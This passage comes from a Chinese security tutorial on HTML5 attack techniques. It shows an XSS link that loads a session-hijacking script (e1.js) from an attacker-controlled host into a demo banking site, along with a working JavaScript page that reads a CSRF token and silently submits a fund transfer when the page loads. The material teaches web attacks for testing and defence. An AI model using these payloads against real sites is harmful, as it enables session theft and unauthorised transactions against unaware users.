揭密HTML5带来的攻击手法
作者:网络转载 发布时间:[ 2014/4/21 14:13:51 ] 推荐标签:软件测试 测试技术 网页
3、使用浏览器访问http://127.0.0.1:8008/sotf.console (firefox效果佳)
4、不出问题,你将看到以下画面。(Shell of the Future有两个JavaScript的exp- e1.js和e2.js,我们可以利用XSS漏洞将其嵌入到受害者的浏览器)
、
5、当一个用户登录下面的测试网站:
http://www.testfire.net/bank/login.aspx (admin/admin)
该站点的搜索功能粗在一个XSS漏洞,http://www.testfire.net/search.aspx?txtSearch=%3Cscript%3Ealert%2812%29%3C%2Fscript%3E
6、攻击者发送一个恶意链接给用户,如下:
http://www.testfire.net/search.aspx?txtSearch=%3Cscript%20src=%22http://127.0.0.1:8008/e1.js%22%3E%3C/script%3E
7、当用户点击之后,攻击者的IP地址将会发送给攻击者,然后点击“Hijack Session”:
8、点击Hijack Session之后,将出现如下画面:
二:窃取CSRF令牌(token)
目前很多互联网站点都在使用token来防御CSRF攻击,但是随着HTML5技术的普及,攻击者很有可能窃取到CSRF的token,如果CSRF token的请求URL(GET请求),利用前面提到的CORS协议,攻击者可以注入一个CSRF payload跨域请求到目标站点上。当然,利用的话需要服务端添加一个HTTP 头字段“origin”,并且需要设置该属性withCredentials为true,让我们来看看如何利用:
1、某用户登录www.bank.com。
2、假设该站点有CSRF保护,即在表单提交的地方添加了隐藏的token,然后发送GET请求到服务端进行验证,如下:
<input type=”hidden” id=”test” name=”csrfToken” value=”12345678″ />
请求如下:
http://www.bank.com/Confirmation.jsp?value=200&csrfToken=1234234523
3、攻击者通过email、IM聊天工具或其他方式发送一个恶意站点ww.attackersite.com
4、攻击者可以提交一个Ajax请求到www.bank.com并且执行一些操作,但是需要知道CSRF的token值。
5、所以攻击者需要窃取到token令牌,然后进行CSRF攻击。
6、攻击者编写了下面的一段代码,发送Ajax请求到ConfirmTransfer.jsp页面并接受其响应,在返回的数据包中搜索csrfToken,找到后,另外一个Ajax请求被发送,其中包含了CSRF token。
<!DOCTYPE html> <html> <head> <script> function testing() { var xmlhttp; if (window.XMLHttpRequest) { xmlhttp=new XMLHttpRequest(); } else { xmlhttp=new ActiveXObject("Microsoft.XMLHTTP"); } xmlhttp.open("GET","http://bank/Myapp/ConfirmTransfer.jsp",false); xmlhttp.send(); if(xmlhttp.status==200) { var str=xmlhttp.responseText; var n=str.search("csrfToken"); var final=str.substring(n+18,n+28); var url = "http://bank/Myapp/TransferFund.jsp?datum1%2F=06-06-2013&Account=1234&csrfToken=" + escape(final); xmlhttp.open("GET", url, true); xmlhttp.send(); } } </script> </head> <body onload="testing();"> </body> </html> |
以上的一切操作全在后台进行,用户完全不知情,因此,在HTML5中,攻击者完全可能获取到CSRF TOKEN和执行一些操作。
相关推荐
更新发布
功能测试和接口测试的区别
2023/3/23 14:23:39如何写好测试用例文档
2023/3/22 16:17:39常用的选择回归测试的方式有哪些?
2022/6/14 16:14:27测试流程中需要重点把关几个过程?
2021/10/18 15:37:44性能测试的七种方法
2021/9/17 15:19:29全链路压测优化思路
2021/9/14 15:42:25性能测试流程浅谈
2021/5/28 17:25:47常见的APP性能测试指标
2021/5/8 17:01:11